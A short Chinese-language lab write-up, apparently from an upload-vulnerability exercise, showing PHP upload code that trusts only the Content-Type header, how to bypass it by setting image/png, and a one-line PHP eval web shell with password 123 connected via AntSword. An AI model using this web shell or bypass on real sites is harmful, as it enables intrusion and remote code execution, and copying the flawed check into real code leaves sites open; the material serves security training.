通过查看代码发现,只校验了Content-Type,所以此次上传可以归类为MIME类型绕过。
我们可以尝试通过修改request中的Content-Type来绕过。
下面我们先记住一些常用的Content-Type类型,访问菜鸟教程的这个链接可以查看。
https://www.runoob.com/http/http-content-type.html
查看源代码:
if (file_exists($UPLOAD_ADDR)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
通过查看源代码发现,只接受三种文件的上传:
image/png image/jpeg image/gif
我们修改请求中的content-type为image/png,可以发现上传成功。
我们写入构造的一句话木马,密码为123,修改文件后缀为.php
<?php eval($_REQUEST[123])?>
上传,通过蚁剑可以连接。